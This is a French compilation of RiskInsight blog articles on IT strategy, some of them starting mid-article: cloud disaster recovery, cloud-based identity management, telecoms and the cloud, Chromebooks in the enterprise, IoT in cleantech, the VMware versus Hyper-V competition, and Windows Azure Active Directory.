La réplication des données est ainsi simplifiée pour les options de géo-réplication asynchrones (plusieurs copies répliquées dans d’autres régions). La PDMA est variable en fonction des types de données et des outils proposés. Au-delà de cette option, une redondance locale des données est presque systématiquement incluse.

La forte standardisation permet également d’automatiser la reprise : les scripts ou API mis à disposition par les fournisseurs permettent d’automatiser le déploiement des infrastructures, le redimensionnement des instances en fonction de métriques précédemment définies, la répartition des charges et du trafic ou, l’adressage IP etc… afin d’accélérer de façon significative l’activation d’un site de secours.

Les outils de surveillance et alerte qui sont également proposés visent à faciliter le Maintien en Conditions Opérationnelles (MCO) du secours et peuvent être utilisés pour détecter au plus tôt un incident voire, dans certains cas, automatiser partiellement le déclenchement du secours.

Enfin la capacité à provisionner des nouvelles ressources en quelques minutes permet de limiter l’OPEX. A stratégie équivalente, il est ainsi possible d’avoir des gains de 40 à 70% sur le coût du secours !

Vers une plus grande prise en charge par le fournisseur ?

Azure prévoit une option, courant 2017, pour assurer le secours des machines virtuelles hébergées au sein de leur plateforme via la complétion de leur service « Site Recovery ». En effet, « Site Recovery » propose à l’heure actuelle de prendre en charge le secours de site traditionnel en utilisant le cloud Azure pour accueillir le site secondaire, mais Microsoft souhaite étendre ce service au secours de leurs propres infrastructures. Cet outil permettrait un déploiement automatique du site secondaire (de type actif-passif), une réplication automatique des données et une mise en place de tests facilitée.

Cette option est passée en « public preview » fin mai 2017. Un projet équivalent n’est pas d’actualité chez les autres principaux fournisseurs IaaS/PaaS.

Le cloud face au risque systémique des fournisseurs

Le secours informatique des services hébergés dans le cloud s’aborde différemment selon le type de service utilisé. Le secours du SaaS doit être géré contractuellement et est sous la responsabilité du fournisseur tandis que le secours du IaaS/PaaS, simplifié par les outils, reste sous la responsabilité du client.

Le risque de défaillance généralisé d’une région d’hébergement d’un fournisseur existe comme le montre les derniers incidents. Même si aujourd’hui, les incidents ont été de courte durée ou avec des impacts fiables, une défaillance généralisée ne peut pas être ignorée. Reste donc à traiter la problématique de cyber-résilience. L’utilisation d’un 2^ème fournisseur cloud permet de couvrir le risque de destruction ou d’indisponibilité majeure des infrastructures du premier. Cette solution reste très complexe car la portabilité d’un fournisseur à un autre est délicate. Pour l’instant, peu d’entreprises s’y sont risquées, même si l’on peut citer l’exemple de Snapchat qui utilise le cloud Google pour sa production et prévoit d’utiliser celui d’Amazon pour son secours d’ici à 5 ans.

Cet article Le Cloud, la fin ou renouveau du secours informatique ? est apparu en premier sur RiskInsight.

Le principal frein rencontré jusqu’ici était de voir toutes ses données externalisées. Ce frein est petit à petit en train de disparaître lorsque l’on se rend compte qu’elles le sont déjà. En effet, le système RH comme le CRM sont, pour bon nombre d’entreprises, déjà dans le cloud ! Les données critiques liées au métier de l’entreprise sont elles-mêmes déjà externalisées à travers les solutions de messagerie et autres suites collaboratives en mode SaaS. Pour quelles raisons l’IAM échapperait-il à cette révolution ?

Identity Access Management As A Service (IAMaaS) : qu’est-ce que cela représente réellement ?

Les offres d’IAM en cloud permettent de gérer et fédérer différentes ressources. Si elles sont bien utilisées, elles peuvent être un vrai accélérateur pour les métiers de l’entreprise. Mais comme tout service dans le cloud, il y a des avantages (coûts, mises à jour régulières, etc.) et des inconvénients (contrôle des données, protocoles et formats parfois non standards, etc.).

Les clients et les partenaires, tout comme les employés ou prestataires, peuvent bénéficier de la fédération d’identités. De même, des connecteurs spécifiques sont mis en œuvre pour les applications SaaS ou on-premises, utilisées par l’entreprise. Les utilisateurs peuvent se connecter via n’importe quel type de terminal. Il reste quelques incontournables pour profiter pleinement d’un IAMaaS et en garder la maîtrise : la capacité de faire des revues de comptes, la disponibilité des connecteurs de provisioning vers les applications et la maîtrise de l’envoi dans le cloud de données à caractère personnel.

Externalisation de l’IAM : penser avant tout à la maturité du SI

La capacité du SI à adopter des standards et des protocoles ouverts est un sujet clé pour réussir un déploiement d’IAM dans le cloud.

Il faut donc, après avoir choisi un premier périmètre d’application, s’assurer que ce dernier respecte les normes et bonnes pratiques en vigueur concernant l’authentification et la gestion des identités. De même l’existence d’un référentiel interne centralisé, afin de communiquer avec la solution d’IAM, sera nécessaire dans la majorité des cas.

Enfin, en prenant la problématique dans l’autre sens, c’est aussi une opportunité de fournir très rapidement aux nouveaux projets une plate-forme mâture supportant les derniers standards : fédération, authentification mobile, provisioning, etc.

Anticiper les risques : plus qu’un besoin, une nécessité

En comparaison avec des solutions on-premises, certains risques seront couverts de la même manière voire potentiellement mieux par une solution cloud : la disponibilité du système et la compromission des données. Les fournisseurs sont souvent plus mâtures que l’entreprise sur le sujet de la résilience des infrastructures et ont anticipé le cloisonnement vis-à-vis des administrateurs dès la conception du service.

D’autres risques doivent en revanche être spécifiquement adressés comme :

• Laréversibilité: il faut s’assurer qu’il est possible à tout moment de récupérer ses données dans un format exploitable et il ne faut faire aucun compromis sur l’utilisation de standards.
• L’isolation des données: cette dernière est parfois très difficile, voire impossible à contrôler ; néanmoins il est possible de s’assurer de manière contractuelle de l’isolation de ses données par rapport aux autres clients du fournisseur.
• La conformité: dans le cadre de certaines obligations (CNIL notamment) il est nécessaire de s’assurer que les données externalisées seront hébergées dans le respect de la norme (en Europe pour la CNIL). Une approche face à cela est de recourir au chiffrement des données avant envoi mais ce n’est pas forcément simple à exploiter dans une solution IAM.

Une opportunité pour moderniser son IAM

L’IAMaaS est une réelle opportunité qui permet d’offrir un service stable, standard et moderne aux différents métiers de l’entreprise.

De même, les utilisateurs étant habitués aux applications en cloud (accessibles partout, tout le temps et depuis tout terminal), la mise en place d’une fédération gérée par l’IAM en cloud et d’un portail IAM de ce type ne perturbera pas, ou très peu, leurs habitudes.

Enfin, en plus de des interfaces simples et efficaces proposées aux utilisateurs, les solutions d’IAMaaS mettent à disposition des API REST modernes, adaptés aux applications web (HTML5/Angular.js) ou aux applications mobiles, permettant à celles-ci d’interagir directement dans la gestion des identités. De quoi accompagner la transformation numérique que toute entreprise aborde aujourd’hui.

De nombreux acteurs sont aujourd’hui sur ce marché actif et l’offre fonctionnelle est très riche : Okta, Salesorce, Microsoft, Ping Identity, Memority, RSA, Cap Gemini, etc.

L’option cloud est aujourd’hui incontournable – ne serait-ce qu’en phase de cadrage IAM – et il faut désormais justifier la pertinence et le besoin de rester sur des infrastructures on-premises.

Cet article IAM dans le Cloud : est-ce le moment de se lancer ? est apparu en premier sur RiskInsight.

Le cloud n’a cependant pas le même impact sur toutes les composantes des télécoms.

L’audioconférence et la webconférence, services early adopters du cloud

Les services d’audioconférence et de webconférence sont désormais quasi-exclusivement fournis en mode SaaS. Ces services étant relativement simples à acheter et à mettre en place, il n’est pas rare qu’il y ait plusieurs contrats pour un même service au sein d’une même entreprise.

Les fournisseurs de solutions de communications unifiées veulent se positionner en concurrent de ces solutions. Pour autant, les problématiques d’interopérabilité de ces solutions pour communiquer entre des entreprises différentes font que les services SaaS restent aujourd’hui leaders de ce domaine.

Des centres de relation client qui s’appuient de plus en plus sur des services cloud

Les problématiques de centres de relation client sont souvent portés par les métiers ou par les DSI les plus proches des métiers.

Le marché montre aujourd’hui un mouvement vers des solutions cloud. Si les prix sont bien évidemment un moteur de cette évolution, pouvoir permettre aux métiers de faire évoluer facilement la configuration fonctionnelle et ne pas avoir besoin de compétences pointues en interne favorise l’adoption du cloud.

Il est à noter que, pour les CRC, la dépendance vis-à-vis des fournisseurs est forte. Soit parce que la solution est en mode cloud et que la réversibilité est complexe, soit parce qu’il y a forte dépendance vis-à-vis de l’éditeur si la solution est internalisée. Le critère de dépendance vis à vis d’un fournisseur n’est donc pas discriminant pour le choix d’une solution. Ceci explique probablement pourquoi ce mouvement d’adoption des solutions cloud est aussi net alors même que les solutions sont amenées à fortement évoluer sous la pression des projets de transformation numérique.

Le cloud, accélérateur de services : la vidéoconférence de salle

La vidéoconférence de salle s’est profondément renouvelée avec l’apparition de nouvelles offres de service reposant sur le cloud. Si le cloud n’est pas à lui seul la source du renouveau de la vidéoconférence, il a néanmoins permis son enrichissement fonctionnel et une amélioration de l’expérience client.

Il est possible de distinguer deux types de vidéoconférence : la vidéoconférence immersive et la vidéoconférence de salle.

La vidéoconférence immersive étant un service récent destiné aux VIP, elle reste un service transverse aux différentes branches de l’entreprise que la DSI groupe est la plus légitime à fournir. Pour les solutions immersives, les clients optent fréquemment pour des solutions clé en main reposant sur le cloud, notamment en raison d’un périmètre relativement faible de salles, d’utilisateurs VIP et de contraintes budgétaires moins fortes que sur la visioconférence classique.

A contrario, l’impact du cloud sur la vidéoconférence classique est plus modéré. Le marché passe d’un modèle intégré à un modèle infogéré plutôt qu’à un modèle cloud. Ceci s’explique par le poids de l’existant et les volumes considérés.

Télécoms industrielles : le cloud, pilier de la nouvelle révolution

Les solutions industrielles s’appuient sur deux piliers : des solutions télécoms innovantes et des services cloud le plus souvent capables de traiter un grand volume de données. Le Big Bata jouera un rôle clé dans cette révolution.

La vidéo sur le poste de travail : le cloud peut-il en favoriser l’émergence ?

Les services de vidéo sur le poste de travail se développent notamment chez les grands comptes avec des équipes réparties dans le monde entier, en complément d’une vidéoconférence de salle ou lors de la mise en place de projets de communications unifiées.

Le cloud pourrait faciliter l’émergence de ces usages, notamment en facilitant les Proof of Concept. Ceci est d’autant plus vrai qu’il existe des services d’interconnexion cloud permettant de relier ces solutions sur postes de travail à d’autres moyens de communication comme la vidéoconférence.

La téléphonie, toujours plus externalisée, mais pas encore dans le cloud

Les solutions de téléphonie des grandes entreprises sont maintenant très majoritairement des solutions IP. Le mouvement vers l’IP étant bien amorcé, les organisations associées sont également en cours de transformation. La téléphonie a déjà basculé des services généraux vers les équipes SI. En parallèle, la plus grande criticité des systèmes centralisés et le recours à une expertise nouvelle fait que l’exploitation de la téléphonie a dû être renforcée. Ce renforcement passe souvent par une externalisation de tout ou partie de la téléphonie. De fait, la téléphonie est de plus en plus souvent infogérée.

Pour autant, cette externalisation ne va pas jusqu’au cloud : la téléphonie en mode cloud public n’a toujours pas percé chez les grandes entreprises. Néanmoins, une nouvelle génération de téléphonie dans le cloud émerge aujourd’hui : promesses de gains plus élevées, limitations fonctionnelles moins nombreuses, intégration de fonctionnalités de communications unifiées… Le service, qui reste très jeune, connaîtra peut-être un décollage dans les années à venir.

En conclusion, le cloud est présent sur de plus en plus de services télécoms que ce soit des services à l’utilisateur ou des télécoms métier. C’est une opportunité pour le responsable télécoms de développer de nouveaux services et d’apporter plus de valeur aux utiliseurs. Il semble d’autant plus nécessaire pour lui de se positionner en offreur de services innovants que les métiers seront tentés de se passer de la DSI pour les acheter – au détriment des bonnes pratiques de gouvernance.

Cet article Cloud : vers le renouvellement des services télécoms ? est apparu en premier sur RiskInsight.

Pour rappel, les télécoms sont composées de services d’infrastructure (réseaux intersites : WAN et MAN, collecte de la voix, accès internet, accès partenaires), de services d’infrastructure site (réseaux locaux et réseaux internes aux datacenters, wifi), de services utilisateurs (téléphonie, nomadisme, mobilité, communications unifiées, audioconférences, webconférences, vidéoconférences) et de services métiers (télécoms industrielles, centre de relation client, mobilité métier).

Une infrastructure télécom qui doit s’adapter pour être cloud-ready

Repenser la place de l’internet

Avec l’arrivée du cloud, de plus en plus de ressources ne se situent plus dans les sites ou datacenters de l’entreprise mais sur des plates-formes mutualisées situées chez des partenaires. La messagerie, le SIRH ou les webconférences ont déjà amorcé ce mouvement. Ceci signifie que les flux évoluent.

En premier lieu, le volume des flux transportés entre les sites augmente. Des flux à destination de serveurs locaux sont devenus des flux à destination de serveurs distants. Il n’est pas rare que les migrations de messagerie dans le cloud déclenchent des upgrades réseaux massifs.

Ensuite, les flux vers l’extérieur se développent. Le besoin d’accès fiables et performants à internet est renforcé. À titre d’exemple, 50 à 80% des flux d’un grand compte industriel utilisant fortement le cloud sont à destination d’internet.

Enfin, les flux, y compris critiques, ne circulent plus uniquement sur un réseau interne à l’entreprise, mais sont également à destination de l’extérieur, et donc d’internet.

Gérer ces flux implique souvent de décentraliser une partie des accès internet et de s’assurer de la bonne performance de la solution tout en garantissant le niveau de sécurité nécessaire. Deux tendances émergent aujourd’hui : la première consiste à souscrire à un accès into the cloud tout en externalisant tout ou partie de la sécurité. La seconde consiste à disposer d’accès internet directement sur site ; ce sont les solutions dites hybrides ou d’internet off-load.

Construire son propre nuage : le cloud privé

Si la terminologie cloud sous-entend souvent cloud public, il existe également des clouds privés ou clouds hybrides. Dans ces cas, il est nécessaire de mettre en œuvre de nouvelles solutions réseaux pour s’adapter à la virtualisation des ressources de datacenters et à la cohabitation entre les clouds publics et privés. C’est pourquoi nos clients rénovent aujourd’hui la plupart de leurs solutions LAN DC. Dans ces projets, les frontières entre les télécoms, la sécurité et le reste de l’infrastructure deviennent de plus en plus floues aussi bien en termes d’infrastructures que de compétences.

Une organisation à adapter au cloud : renforcer les fonctions d’architecte, de responsable client et de responsable fournisseur

Un département architecture plus fortement sollicité

La mise en place d’un réseau cloud-ready pose de nouvelles questions d’architecture télécoms et sécurité liées aux changements de matrice de flux, au design des solutions hybrides et à leur sécurisation. Le LAN DC nécessite également une forte implication des architectes.

Ces dernières années, les solutions MPLS et les accès internet ont été relativement stables et ont assez peu sollicité les architectes. Cela change avec l’arrivée du cloud, ce qui confirme l’importance du rôle d’architecte référent.

Le cloud impose de se rapprocher de ses clients internes

Comme nous l’avons souligné plus haut, le cloud permet aux clients de s’affranchir plus facilement des services de la DSI. Par exemple, les directions métiers n’ont pas besoin de la DSI pour souscrire à une solution de webconférence. Le client doit devenir une des préoccupations du responsable télécoms. Les responsables clients doivent être clairement identifiés pour fluidifier les relations.

Il devient de plus en plus nécessaire de disposer d’un catalogue de service télécoms et d’être en mesure de le faire évoluer. Nous constatons l’apparition d’un véritable rôle de chef de produit chez nos clients de manière à être plus réactif vis-à-vis des demandes des clients internes.

Par ailleurs, pour être en phase avec la logique de service attendue des clients pour les services utilisateurs, les offres télécoms ne peuvent plus se limiter à des solutions techniques, elles doivent intégrer les notions d’ergonomie, support et facilité d’utilisation qui sont souvent des facteurs clés de succès d’une offre télécom. Les rôles de responsable client et de chef de produit prennent de l’ampleur. Il sera parfois nécessaire de faire évoluer la gouvernance entre la DSI et ses clients pour permettre à ces rôles de prendre leur place.

Le cloud impose une gestion fournisseur plus complexe

Le cloud est bien une forme d’externalisation. Les services externalisés tendent à être de plus en plus nombreux et de moins en moins standards nécessitant de plus en plus de customisation. La réversibilité devient de plus en plus complexe (par exemple, les centres d’appels) et la dépendance vis-à-vis du fournisseur importante. La contractualisation de ses services doit faire l’objet d’une attention particulière pour prendre en compte ces points, ainsi que l’évolutivité des services et la maîtrise des coûts.

Le pilotage des fournisseurs devient donc de plus en plus complexe et la culture du « faire-faire », un savoir-faire important. Le rôle de pilotage des fournisseurs s’affirme donc comme un rôle clé.

En conclusion, le cloud nécessite une adaptation des infrastructures télécoms au niveau du réseau intersites (WAN) et dans les datacenters. Il fait ainsi émerger de nouveaux rôles ou renforce l’importance de certaines fonctions. L’organisation de la DSI devra en tenir compte, de manière à renforcer les rôles d’architecte, de pilotage des fournisseurs et rendre audible la voix du client interne.

 Découvrez bientôt sur Solucom Insight l’impact du cloud sur le renouvellement des services télécoms.

Cet article Comment le cloud bouscule les télécoms de l’entreprise est apparu en premier sur RiskInsight.

Des ventes modestes mais des perspectives intéressantes

Les ventes de Chromebook restent faibles : 2,9 millions d’unités ont été vendues en 2013 sur un marché total de 317 millions de PC, soit moins de 1% du marché. Elles sont également très ciblées, puisqu’elles se concentrent principalement en Amérique du Nord sur le marché de l’éducation.

Néanmoins, selon le cabinet d’étude Gartner, le marché du Chromebook devrait voir ses ventes augmenter de 79 % en 2014 par rapport à 2013 et les ventes devraient tripler d’ici 2017 pour atteindre 14,4 millions d’unités. Des chiffres relativement modestes mais en contraste avec un marché du PC en berne.

Le Chromebook concrétise la vision du PC selon Google

Pour Google, un PC sert avant tout à utiliser des applications web sur internet. Dans cette optique, le géant de Mountain View a conçu Chrome OS, un système d’exploitation léger basé sur son navigateur Chrome. L’interface est minimale et épurée, privilégiant la simplicité et la réactivité. Chrome OS est conçu principalement pour un usage connecté : il permet d’exécuter des applications Web… en particulier les services fournis par Google : Google Apps, Google Play, Google Print…

La légèreté de l’OS permet aux constructeurs de proposer des appareils avec des configurations matérielles modestes et donc des prix très attractifs tant pour les Chromebook (ordinateurs portables) que pour les Chromebox (ordinateurs fixes, à la diffusion plus confidentielle).

Outre l’accès à des applications web, il est également possible d’utiliser des applications spécifiques sur  les Chromebook, les Chrome Apps. Celles-ci sont à base de technologies web mais avec l’apparence d’une application classique. Elles permettent surtout un fonctionnement en mode déconnecté pour un usage hors ligne (c’est le cas de Gmail par exemple). Les Chrome Apps sont accessibles via le store applicatif Chrome Web Store, un peu à l’image de Google Play pour Android.

Des caractéristiques séduisantes pour les entreprises…

Les Chromebook se caractérisent par leur facilité d’utilisation : démarrage et arrêt en quelques secondes, interface simple et intuitive, ajout d’applications via le Chrome Web Store, puissance et efficacité des outils Google parfaitement intégrés.

Les entreprises apprécieront également le peu d’opérations de maintenance nécessaires avec des mises à jour automatiques et fréquentes de l’OS et une gestion de la sécurité native (vérification au démarrage, navigateur sécurisé, données chiffrées…).

Google fournit également une console d’administration avec des fonctions minimales permettant de gérer une flotte de Chromebook : gestion des utilisateurs, de la configuration, des applications (applications préinstallées, liste blanche ou noire d’applications autorisées ou interdites), reporting.

Autant d’attributs qui rendent le Chromebook séduisant pour les entreprises.

… mais une intégration compliquée avec l’existant de l’entreprise

De nombreuses limites apparaissent en effet vite lors de l’utilisation d’un Chromebook en entreprise, la première concernant les applications.

Un Chromebook permet d’accéder aux applications au format web. Néanmoins, de nombreux sites intranet n’ont pas été conçus pour le navigateur Chrome mais pour Internet Explorer et pourraient nécessiter des adaptations. Les sites web utilisant des middlewares Java, Silverlight ou Flash ne sont également pas supportés.

Les applications Windows pour leur part ne fonctionnent pas sur un Chromebook. Certaines, encore peu nombreuses pour les applications professionnelles, sont disponibles au bon format dans le Chrome Web Store. Pour les autres, une solution  sera de se tourner vers des solutions de type publication d’applications ou de bureaux virtuels fournis par Citrix ou VMware, qui disposent de clients pour Chromebook. Ces clients (au format HTML 5) ne sont cependant pas encore aussi avancés que sur d’autres plateformes.

Les autres limites concernent l’intégration avec des services classiques d’infrastructure. Un Chromebook ne s’intègre pas dans un annuaire Active Directory et nécessite forcément un compte Google. Egalement gênant est la difficulté voire l’impossibilité d’utiliser des services aussi basiques que du partage de fichiers ou d’impression. Un utilisateur peut ainsi ajouter une imprimante mais cela nécessite d’utiliser les services Google Print mais également de disposer d’imprimantes « Cloud-Ready Printer, ce qui est rarement le cas en entreprise actuellement.

Quel avenir dès lors pour les Chromebook en entreprise ?

Le Chromebook représente une vraie rupture par rapport au modèle de PC classique sous Windows : plus simple, plus rapide, nécessitant peu de maintenance et peu coûteux, il reste cependant limité fonctionnellement et ne pourra rendre les mêmes services en entreprise. Est-ce à dire que c’est une voie sans issue ?

Pour des entreprises utilisant déjà les services Google comme Google Apps, la question de l’utilisation de Chromebook pour certains profils utilisateurs se doit d’être posée. Cette solution peut avoir un intérêt dans différents cas : utilisateurs mobiles travaillant principalement avec des outils collaboratifs, offre de type PC low cost avec un accès aux applications Windows via les solutions Citrix ou VMware, remplacement de clients légers, borne d’accès Intranet/Internet…

Pour les autres, Google continue à investir dans sa solution et à développer des partenariats pour améliorer sa plateforme : alliance avec Cisco pour disposer de Webex sur sa plateforme, travail avec Citrix et VMware pour améliorer l’accès aux applications Windows. L’engagement de constructeurs comme Lenovo ou HP est aussi à souligner.

Autant de signes positifs pour les Chromebook et leur développement en entreprise. À Google de se donner les moyens de percer pour de bon dans le monde de l’entreprise !

Cet article Chromebook : le PC Cloud de Google à l’assaut des entreprises est apparu en premier sur RiskInsight.

Cette association recouvre aussi une réalité industrielle, où les géants de l’informatique créent les conditions de marché favorables (standards, adoption des technologies, solutions globales) tandis qu’une multitude de startups essayent d’apporter des réponses créatives aux potentiels ainsi générés.

De grands acteurs mobilisés pour un marché prometteur

Les objets connectés ont dépassé le nombre d’humains depuis 2008 et atteignent d’ores et déjà plus de 50 milliards d’unités, qui produisent une masse de données doublant tous les 2 ans environ.

La première phase indispensable de l’Internet of Things, à savoir l’équipement en matériels (capteurs et connexions), est donc lancée. Dans les entreprises, il faudra l’accompagner d’une mise en place de processus et d’une conduite du changement  pour lier de manière utile hommes et données, pour transformer celles-ci en informations.

Chacun des acteurs du secteur tente de se positionner sur la chaîne de valeur qui se met progressivement en place et qui génerera selon Gartner plus de 1 900 milliards de $ d’ici 2020.

Deux initiatives concrètes conduites par GE (Industrial Internet) et Cisco (FOG) se positionnent sur ce marché.

Industrial Internet est un consortium regroupant GE, AT&T,Cisco et Intel visant à la digitalisation de tous les métiers de l’Industrie. GE se l’applique d’abord à elle-même avec par exemple une éolienne connectée permettant de mieux gérer la variabilité de fonctionnement inhérente à cette énergie et donc d’augmenter son efficacité de 25%. Mais elle propose aussi à tous la plateforme Predix, qui propose d’analyser les données collectées.

Le FOG computing est quant à lui une évolution du Cloud proposée par Cisco, où l’intelligence se veut mieux répartie, près des sources de données, afin d’améliorer la QoS et accélérer le traitement. L’apport de ce positionnement qui multiplie les équipements devrait être surtout palpable pour des besoins temps réel, où être en bordure du Cloud, voire en local, sera nécessaire.

Un foisonnement de startups à fort potentiel

Cette concrétisation à grande échelle est basée sur des composants miniaturisés qui communiquent entre eux (convergence vers le Bluetooth) et qui sont de plus en plus économes. Il reste néanmoins de grands progrès de standards à faire (matériel, logiciel, transmission) et des cas d’usages à affiner.

La question de l’énergie est particulièrement ciblée, que ce soit au niveau de la production ou de la consommation. La tendance cleantech, qui regroupe obligations légales, besoins marketing et conscience écologique, aiguillonne en effet des acteurs en recherche d’économies et d’optimisation. On pourra par exemple citer quelques quelques jeunes pousses françaises qui se sont lancé sur ce marché à trois dimensions : ville,  bâtiments et  utilisateurs.

• Pour la ville : AgoraEnergy cherche à convaincre les mairies d’introduire des capteurs de remplissage pour les citernes de gaz et les bennes de déchets, ce qui permet d’optimiser les tournées. De son côté, Incitât met en place la facturation individuelle des déchets via des poubelles intelligentes, ce qui améliore les taux de tri par une incitation économique. Dans un autre domaine, G2 Mobility déploie des bornes de recharge pour véhicules électriques pilotées à distance.
• Pour les bâtiments : Avob, Ubiant ou Intent démarchent les constructeurs et gestionnaires de bâtiments avec un packagesystème d’exploitation, applications, box et capteurs permettant de mettre en place un réseau de suivi de consommation d’énergie et d’interagir avec les appareils.
• Pour les utilisateurs : Alfileo propose des éléments similaires mais avec un focus sur les clients industriels d’énergie consommateurs de froid tandis que WattGo se positionne sur les particuliers avec box et algorithmes pour permettre de déstructurer la courbe de consommation.

La diversité et l’ampleur des exemples cités illustrent un écosystème Cleantech tangible avec un potentiel qui se concrétise grâce au déploiement d’objets connectés. Les premières alliances, investissements et retours d’expérience enrichissent la vision business des objets connectés. Cet axe pionnier et prometteur d’efficacité écologique doit inviter les entreprises susceptibles d’être impactées par la généralisation des objets connectés (c’est-à-dire toutes !) à réfléchir dès à présent au rôle que ceux-ci peuvent jouer dans leurs métiers.

Cet article Les objets connectés, leviers clés des Cleantech est apparu en premier sur RiskInsight.

Microsoft est-il vraiment capable de mettre en difficulté VMware ? Faut-il migrer vers Hyper-V ? Adopter une stratégie « multi-sourcing » ? Autant de questions que se pose le marché et auxquelles nous avons tenté de répondre.

Microsoft, un sérieux challenger de VMware

Depuis l’avènement de la virtualisation x86, VMware est le leader incontesté du marché. La majorité des grandes entreprises utilisent sa solution vSphere et en sont satisfaites.

Cependant, comme toute situation de quasi-monopole, cette domination du marché entraîne des préoccupations. Les produits VMware sont chers et la politique commerciale peut évoluer rapidement (la mise en place d’une facturation à la mémoire vive utilisée, abandonnée par VMware par la suite, avait suscité un tollé auprès de ses clients).  De plus la réversibilité est complexe et coûteuse.

De son côté, Microsoft a décidé d’accélérer sa pénétration du marché en intégrant le produit Hyper-V dans Windows Server depuis la version 2008. Jusqu’ici en retard techniquement, Hyper-V s’est amélioré à chaque itération jusqu’à devenir, avec Windows Server 2012 R2 et la suite System Center, un sérieux challengeur de VMware.

Aujourd’hui, la course entre VMware et Microsoft ne se concentre plus sur les caractéristiques techniques maximales ou sur les fonctionnalités. En effet, bien que différentes, les deux solutions répondent à la très grande majorité des besoins (qui a besoin d’une machine virtuelle avec plus de 64 vCPU ?).

Alors comment choisir ? En pratique, VMware reste encore en avance au niveau de l’exploitabilité  et dispose d’un plus grand écosystème de composants compatibles, alors qu’Hyper-V est généralement plus compétitif financièrement.

Au-delà de ces points (qui sont à relativiser selon le contexte de chaque client et les accords éditeurs), ce sont la vision et les trajectoires des deux géants qui doivent être pris en considération.

Deux trajectoires différentes, mais une vision Cloud commune

Les deux constructeurs partagent en effet une vision du Cloud similaire, basée sur le pilotage unifié de ressources internes au sein d’un Cloud privé et externes au sein de leur Cloud public ou de celui d’un partenaire. En revanche leurs trajectoires sont différentes et liées à l’historique.

Ainsi VMware, fort sur la virtualisation on-premise, a développé une offre de Cloud privé complète et résiliente avant de développer des services de Cloud public (vCHS) et une interconnexion avec un réseau de partenaires (Amazon, OVH, et plus généralement tout fournisseur proposant un connecteur vCloud).

De son côté Microsoft a eu une approche inverse. Il est parti de son Cloud public Azure, lancé bien plus tôt, et a développé dans un second temps son offre de Cloud privé basée sur Hyper-V (avec la suite System Center et Azure pack) en intégrant progressivement les fonctionnalités développées pour Azure.

Qu’en conclure ? Nos deux géants ont une vision fondamentalement différente dans la conception des architectures du Cloud public ! Quand Microsoft adopte une approche où l’application doit intégrer la haute-disponibilité au sein de son architecture (concept dit du design for failure), VMware part au contraire du principe que c’est à l’infrastructure d’offrir des services résilients.

Qu’aller chercher avec Hyper-V ?

Le principal intérêt reste financier : Hyper-V est compétitif. Pour une entreprise ayant un important parc Windows Server, les licences nécessaires sont souvent déjà acquises par l’entreprise (licences Windows Server Datacenter et System center). Le levier d’économie est alors substantiel.

Un autre intérêt est la mise en place d’une stratégie de Dual Sourcing, en ayant une ligne de service Hyper-V et une ligne de service VMware. Ainsi, l’entreprise peut rester indépendante des fournisseurs tout en ayant de plus gros leviers de négociation.

En revanche, il ne faut pas sous-estimer la complexité et le coût d’un projet de migration d’une partie d’un parc. Une approche « Big Bang » est trop risquée et nous conseillons plutôt d’adopter une approche progressive.

Comment ? En commençant par expérimenter Hyper-V en démarrant un pilote sur un périmètre limité et non critique (par exemple quelques environnements de test / staging). Ce pilote permettra de vérifier l’exploitabilité de la plateforme et d’acquérir les compétences en interne. Une généralisation pourra être envisagée par la suite sur une filière complète (environnements de développements et de tests par exemple), selon  les résultats et les opportunités.

Si vous souhaitez aller plus loin en matière de « dual sourcing » et simplifier l’architecture globale, il est préférable de piloter les infrastructures Hyper-V et VMware avec la même solution. Microsoft (avec SCVMM), VMware (avec vCAC) ou des tiers (comme HP avec HP OO) proposent des outils, permettant alors de tirer bénéfice des deux plateformes, tout en simplifiant l’exploitation.

Et la cerise sur le gâteau ? Opter pour ces outils permettront à l’entreprise de se préparer à une approche Cloud Hybride !

Cet article Virtualisation : une hyper compétition entre VMware et Microsoft est apparu en premier sur RiskInsight.

Microsoft fait partie de ces acteurs de l’IAM pour le cloud. En raison de son rôle déterminant dans le SI « On-Premises » des entreprises, nous allons nous pencher de plus près sur sa solution : Windows Azure Active Directory (WAAD).

WAAD : une solution IAM-as-a-Service pour le cloud

Contrairement à ce que pourrait indiquer son nom, la solution Windows Azure Active Directory n’est pas un Active Directory hébergé dans Azure, la plate-forme cloud de Microsoft.

Officiellement lancée le 8 avril 2013, WAAD est décrit par Microsoft comme « une solution complète et sécurisée pour la gestion des identités et des accès dans le cloud. Elle combine des services d’annuaires principaux, une gouvernance des identités avancée, une gestion et une sécurisation des accès aux applications ».

Microsoft propose donc WAAD comme solution d’IAM-as-a-Service permettant, entre autres, de couvrir les applications hébergées dans le cloud. Contrairement à son approche « brique à brique » traditionnelle pour les services IAM On-Premises, dans laquelle chaque service est fourni par un produit spécifique, Microsoft adopte là une approche plus globale comme le démontre le tableau suivant :

Windows Azure Active Directory permet ainsi aux entreprises de :

• Étendre au cloud les identités gérées localement au sein d’un Active Directory On-Premises ;
• Gérer les identités et accès depuis le cloud, à la fois pour les applications cloud de Microsoft (Office 365, Dynamics CRM Online, Windows Intune), pour un nombre important d’applications SaaS du marché, mais également pour toute application que l’entreprise raccorde à WAAD ;
• Apporter une connexion unique (SSO) aux applications hébergées dans le cloud, voire aussi, dans certains cas, aux applications On-Premises ;
• Protéger les applications les plus critiques avec une solution d’authentification forte.

Notons que certains services proposés sont antérieurs à la date de lancement officielle puisqu’ils ont été introduits dès 2010 pour offrir les fonctionnalités de gestions des identités et des accès à Office 365. C’est ainsi que Microsoft a pu afficher les chiffres de 265 milliards d’authentifications réalisées et de 2,9 millions d’organisations clientes à la date de lancement de la solution.

Comment mettre en œuvre WAAD ?

Deux modes d’implémentation sont envisageables en fonction des usages que l’entreprise souhaite couvrir.

La première possibilité est une implémentation en stand alone, sans aucun lien avec les annuaires ou briques d’identités présentes dans le SI de l’entreprise. Cette absence de lien avec les infrastructures de l’entreprise permet de bénéficier rapidement d’une solution IAM pour le cloud. Néanmoins, cela impose de gérer spécifiquement le cycle de vie des identités (créations, modifications, suppressions), des mots de passe (initialisations, réinitialisations) et des habilitations (affectations de groupes).

La seconde possibilité consiste à « étendre les identités locales vers le cloud ». Ce type d’implémentation permet de déployer simplement des applications cloud et ce de façon transparente pour les utilisateurs. Pour cela, une synchronisation unidirectionnelle entre un Active Directory géré localement et WAAD est mise en place (via l’outil DirSync). Dès lors, les processus de gestion du cycle de vie des identités déjà en place au sein de l’entreprise se retrouvent étendus au cloud.

Et afin de permettre un accès sans couture aux utilisateurs à la fois aux applications cloud et aux applications hébergées dans le SI de l’entreprise, il est nécessaire de disposer d’une infrastructure de fédération des identités On-Premises.

